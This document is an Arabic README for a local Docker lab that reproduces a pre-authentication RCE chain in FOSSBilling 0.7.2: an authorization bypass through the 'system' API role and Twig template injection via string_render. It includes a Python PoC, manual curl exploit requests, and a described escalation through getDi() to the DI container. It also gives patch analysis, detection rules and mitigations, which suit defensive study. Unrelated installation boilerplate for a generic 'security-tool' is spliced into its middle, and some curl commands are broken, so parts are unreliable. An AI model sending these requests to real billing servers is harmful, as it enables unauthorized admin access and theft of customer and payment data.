
مختبر Docker يعيد إنتاج سلسلة RCE قبل المصادقة في FOSSBilling (تجاوز المصادقة CVE-2026-27604 + Twig SSTI CVE-2026-28496) مع PoC بلغة Python وهدف مقارنة مُرقَّع.
| CVE | النوع | CVSS v4 | GHSA | الوصف |
|---|
| CVE-2026-27604 | تجاوز المصادقة | 10.0 | GHSA-78x5-c8gw-8279 | غياب throw في مدقّق أدوار API يعرّض نقاط نهاية المسؤول للمتصلين غير المصادق عليهم |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | عرض قوالب Twig بدون sandbox عبر واجهة string_render API |
FOSSBilling هي منصة مجانية ومفتوحة المصدر للفواتير وإدارة العملاء. الإصدارات من 0.5.4 حتى 0.7.2 متأثرة. الإصدار FOSSBilling 0.8.0 يعالج كلا الثغرتين.
يقارن هذا المختبر بين إصدارين من FOSSBilling:
| الخدمة | إصدار FOSSBilling | الغرض | الرابط |
|---|---|---|---|
| vuln | 0.7.2 | الهدف المصاب | http://localhost:8081 |
| patched | 0.8.0 | الهدف المُرقّع | http://localhost:8082 |
السلسلة المُتحقق منها في هذا المختبر المحلي هي:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
الهدف المُرقَّع (0.8.0) يُرجع:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
المختبر مُحدَّد النطاق عمدًا لخدمات Docker المحلية. لا يستهدف أنظمة خارجية ولا يتضمن web shells أو برمجيات خبيثة أو استمرارية أو callbacks خارجية أو تفريغ قواعد البيانات أو payloads مدمّرة.
يتطلب Pre-Auth RCE كلا الثغرتين للعمل معًا:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
يوضح هذا المختبر السلسلة باستخدام إثبات حسابي آمن `{{ 7*7 }}`. لا يتم توضيح مسار RCE الكامل عبر `getDi()`.
## حقائق موثّقة
| الادعاء | الدليل | كيفية التحقق |
| ----- | -------- | ------------- |
| CVE-2026-27604 هو تجاوز للمصادقة في معالجة أدوار FOSSBilling API. | GHSA-78x5-c8gw-8279: غياب throw في مدقق الأدوار يسمح لـ /api/system/ بالتحلل كمسؤول. | شغّل PoC: مسار الضيف مرفوض، ومسار النظام يعيد نتيجة المسؤول. |
| CVE-2026-28496 هو SSTI في عرض Twig في FOSSBilling. | GHSA-57mv-jm88-66jc: string_render يمرر _tpl إلى Twig createTemplate() بدون sandbox. | شغّل PoC: يقيّم الخادم {{ 7*7 }} ويعيد 49. |
| تؤثر كلتا الثغرتين على FOSSBilling 0.5.4 حتى 0.7.2. | تحدد الاستشارات العامة نطاق الإصدارات المتأثرة. | قارن بين الأهداف المصابة (0.7.2) والمرقّعة (0.8.0). |
| FOSSBilling 0.8.0 يرقّع كلتا الثغرتين. | الهدف المرقّع يعيد "Unknown API call" لنقطة النهاية المختبرة. | شغّل PoC مقابل المنفذ 8082. |
| تجاوز المصادقة يمنح وصولاً إدارياً بدون مصادقة. | /api/guest/ يرفض string_render؛ /api/system/ يعيد النتيجة بدون مصادقة. | شغّل المرحلة 1 من PoC. |
| يقيّم SSTI قوالب يتحكم بها المهاجم. | {{ 7*7 }} يعيد 49 عبر المسار المصاب. | شغّل المرحلة 2 من PoC. |
| تتيح السلسلة Pre-Auth RCE. | تجاوز المصادقة + SSTI = حقن قوالب بدون مصادقة بسياق المسؤول. | شغّل PoC للسلسلة الكاملة. |
| PoC يعمل عبر HTTP فقط. | poc.py يرسل طلبات HTTP POST فقط. | افحص poc/poc.py. |
## تحليل السبب الجذري
### CVE-2026-27604: تجاوز المصادقة
يستخرج FOSSBilling API الأدوار من مسار URL:```text
/api/:role/:module/:method
يتحقق مدقق الأدوار مما إذا كان الدور المطلوب مسموحًا به. ومع ذلك، في الإصدارات المعرضة للثغرات، يتم إنشاء الاستثناء الخاص بالأدوار غير المسموح بها ولكن لا يتم طرحه أبدًا:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
لأن الاستثناء لا يتم إطلاقه أبدًا، تمر عملية التحقق بصمت. يُحلّ الدور `system` إلى هوية مسؤول cron، مما يمنح وصولاً كاملاً إلى واجهة برمجة التطبيقات الإدارية لأي متصل غير مُصادَق عليه.
التأثير الأمني:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
يُعيّن دور system إلى هوية مسؤول cron الداخلية، التي تمتلك صلاحيات إدارية كاملة.
تتلقى طريقة واجهة برمجة التطبيقات الإدارية string_render قيمة _tpl من بيانات الطلب وتمرّرها إلى خط أنابيب عرض قوالب Twig دون فرض بيئة معزولة:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
تنتقل طريقة `renderString()` إلى `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
المشكلة الحرجة: createTemplate($tpl) ينشئ قالب Twig من السلسلة التي يتحكم بها المهاجم ويعرضه دون قيود sandbox. يمتلك القالب إمكانية الوصول إلى الكائنات في سياق القالب، بما في ذلك معالج واجهة برمجة تطبيقات الضيف الذي يعرض getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## ملخص التصحيح المصدر
يعالج FOSSBilling 0.8.0 كلاً من الثغرتين:
**إصلاح تجاوز المصادقة (CVE-2026-27604):**
يقوم مدقق الأدوار الآن برمي الاستثناء بشكل صحيح للأدوار غير المسموح بها.
**إصلاح SSTI (CVE-2026-28496):**
يتم توجيه عرض القوالب عبر عارض معزول:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
تحظر سياسة وضع الحماية الوصول إلى الأساليب والخصائص افتراضيًا:```php $methods = []; $properties = [];
بالنسبة لمسار واجهة برمجة التطبيقات العامة الذي تم اختباره في هذا المختبر، لا يكشف FOSSBilling 0.8.0 عن نقطة النهاية المختبَرة على الإطلاق:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
فحص الانحدار على مستوى المصدر يؤكد الإصلاح الأعمق:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## بنية المختبر```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| الخدمة | المكوّن | الإصدار / الدور |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 هدف قابل للاستغلال |
| patched | FOSSBilling | 0.8.0 هدف مُصحَّح |
| vuln-db | MariaDB | قاعدة بيانات للهدف القابل للاستغلال |
| patched-db | MariaDB | قاعدة بيانات للهدف المُصحَّح |
| installer-vuln | curl sidecar | يثبّت الهدف القابل للاستغلال تلقائيًا |
| installer-patched | curl sidecar | يثبّت الهدف المُصحَّح تلقائيًا |
الخدمات المكشوفة افتراضيًا:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
تعمل الحاويات الجانبية للمثبّت تلقائيًا أثناء `docker compose up`. وهي تهيّئ كلا هدفَي FOSSBilling ببيانات اعتماد محلية مؤقتة ثم تنتهي.
## المتطلبات
* Docker Desktop أو Docker Engine
* Docker Compose v2
* Python 3
* اتصال بالإنترنت أثناء سحب صورة Docker الأولى
لا حاجة إلى أي حزمة Python خارجية. يستخدم PoC وحدات مكتبة Python القياسية فقط.
## البدء السريع
ابدأ المختبر من حالة نظيفة:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
تحقق من حالة الخدمة:```bash docker compose ps -a
الخدمات المتوقعة قيد التشغيل:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
خدمات المثبّت المتوقعة المكتملة (رمز الخروج 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
تحقق من سجلات المثبّت:```bash
docker compose logs installer-vuln installer-patched
شغّل التحقق من السلسلة مقابل الهدف المعرّض للثغرة:```bash python3 poc/poc.py --url http://localhost:8081
شغّل التحقق من السلسلة مقابل الهدف المُرقّع:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
أمثلة:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
يتحقق PoC من كلا الثغرتين (CVEs) على ثلاث مراحل:
المرحلة 1 — تجاوز المصادقة (CVE-2026-27604): يقارن مسار واجهة برمجة التطبيقات (API) للضيف مع مسار واجهة برمجة التطبيقات للنظام لإثبات الوصول الإداري دون مصادقة.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**المرحلة 2 — SSTI (CVE-2026-28496):**
يؤكد تقييم القالب من جانب الخادم عبر نقطة نهاية المسؤول التي تم تجاوزها.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
المرحلة 3 — تقييم السلسلة: يلخّص نتيجة السلسلة المُجمَّعة.
إنّ PoC يعمل عبر HTTP فقط. لا يستدعي Docker أو Docker Compose أو أوامر shell أو واجهات برمجة التطبيقات الخاصة بالحاويات.
python3 poc/poc.py --url http://localhost:8081
## التثبيت
```bash
pip install -r requirements.txt
python3 main.py -u https://example.com -w wordlist.txt
| الخيار | الوصف |
|---|---|
-u | عنوان URL الهدف |
-w | مسار قائمة الكلمات |
-t | عدد الخيوط (افتراضي: 10) |
-o | ملف الإخراج |
Scope: authorized local lab target only Target: http://localhost:8081
[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED
[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
### الهدف المُرقَّع (FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082
# استنساخ المستودع
git clone https://github.com/example/security-tool.git
cd security-tool
# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate # على Windows: venv\Scripts\activate
# تثبيت التبعيات
pip install -r requirements.txt
# تثبيت الأداة
pip install -e .
pip install security-tool
# سحب صورة Docker
docker pull example/security-tool:latest
# تشغيل الحاوية
docker run -it --rm example/security-tool --help
# التحقق من التثبيت
security-tool --version
# تشغيل الاختبارات
pytest tests/
إذا واجهت أي مشكلات أثناء التثبيت:
pip install --upgrade pipCHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0
## إعادة إنتاج HTTP يدوياً
### إثبات تجاوز المصادقة (CVE-2026-27604)
مسار الضيف (يجب أن يُرفض):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
مسار النظام (يتجاوز المصادقة):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
### إثبات SSTI (CVE-2026-28496)
استجابة مسار النظام من الهدف المعرّض للثغرة:```json
{"result":"49","error":null}
curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
الاستجابة المصححة المتوقعة:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
تُمكّن السلسلة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة ضد FOSSBilling، وهي منصة للفواتير وإدارة العملاء قد تخزّن:
الحمولة المُوضّحة في المختبر غير ضارة ({{ 7*7 }}). تتضمن سلسلة التأثير في العالم الحقيقي عبر getDi() وحاوية DI ما يلي:
طلب HTTP POST واحد دون مصادقة كافٍ للوصول إلى حاوية DI. لا يُوضّح هذا PoC ذلك المسار.
أنماط الطلبات المشبوهة:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)
مؤشرات نص الطلب:```text
_tpl, {{, }}, getDi, system, string_render
قواعد الكشف عالية الإشارة:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output
إجراءات المراقبة الموصى بها:
* راجع سجلات الوصول لطلبات `/api/system/`
* راجع الطلبات التي تحتوي على `_tpl` في أجسام JSON
* راجع الطلبات التي تحتوي على صيغة Twig (`{{`، `}}`، `getDi`)
* نبّه على الاستجابات الناجحة لـ `/api/system/` من عناوين IP خارجية
* راجع نشاط المسؤول إذا كان هناك اشتباه في الاستغلال
* راجع القوالب، وقوالب البريد الإلكتروني، ومرسلي البريد الجماعي بحثًا عن صيغة Twig مشبوهة
## التخفيف
قم بترقية FOSSBilling إلى الإصدار 0.8.0 أو أحدث.
الخطوات الموصى بها:
* قم بترقية FOSSBilling إلى 0.8.0 أو أحدث
* احظر الوصول الخارجي إلى `/api/system/*` على الوكيل العكسي أو WAF
* قيّد الوصول إلى API على عناوين IP المصدر الموثوقة
* قم بتدوير جميع رموز API الخاصة بالمسؤول والعميل
* أبطِل جميع الجلسات النشطة
* راجع سجلات الوصول لطلبات `/api/system/`
* دقّق في قوالب البريد الإلكتروني، ومرسلي البريد الجماعي، ومحولات الدفع بحثًا عن صيغة Twig مشبوهة
* قم بتدوير الأسرار إذا كان هناك اشتباه في الاستغلال
* راجع سجلات العملاء والفوترة والخوادم بحثًا عن وصول غير مصرح به
دروس هندسة الأمان:
* ارمِ الاستثناءات دائمًا في فحوصات التفويض — فالتجسيد دون رمي استثناء يُعد تجاوزًا صامتًا
* لا تُصيّر سلاسل قوالب غير موثوقة في سياق تطبيق ذي صلاحيات
* استخدم تصيير القوالب داخل بيئة معزولة وارفض الوصول إلى الطرق/الخصائص افتراضيًا
* لا تعرّض حاويات DI أو محددات الخدمات لسياقات القوالب
* اجعل إخفاقات تفويض API صريحة وافشل بشكل مغلق
## أوامر مفيدة```bash
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
docker compose down --remove-orphans
docker compose down -v --remove-orphans
rm -rf evidence/
## حدود الأمان
هذا المختبر مخصص لأبحاث الأمن المحلية والعرض التوضيحي المُتحكَّم به فقط.
لا تشغّل PoC ضد أنظمة لا تملكها أو لا تملك تفويضًا صريحًا لاختبارها. لا تستخدم بيانات اعتماد إنتاجية حقيقية، أو بيانات العملاء، أو مفاتيح API في هذا المختبر.
النطاق المقصود محدود بـ:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
لا يوضح المختبر ما يلي:
CVE-2026-27604 — تجاوز المصادقة في FOSSBilling https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — SSTI في FOSSBilling https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — إشعار تجاوز المصادقة https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — إشعار SSTI https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — تجاوز المصادقة في FOSSBilling و Twig SSTI إلى تنفيذ الأوامر عن بُعد دون مصادقة https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
مستودع FOSSBilling على GitHub https://github.com/FOSSBilling/FOSSBilling
صورة FOSSBilling على Docker https://hub.docker.com/r/fossbilling/fossbilling
توثيق Twig — إضافة Sandbox https://twig.symfony.com/doc/3.x/sandbox.html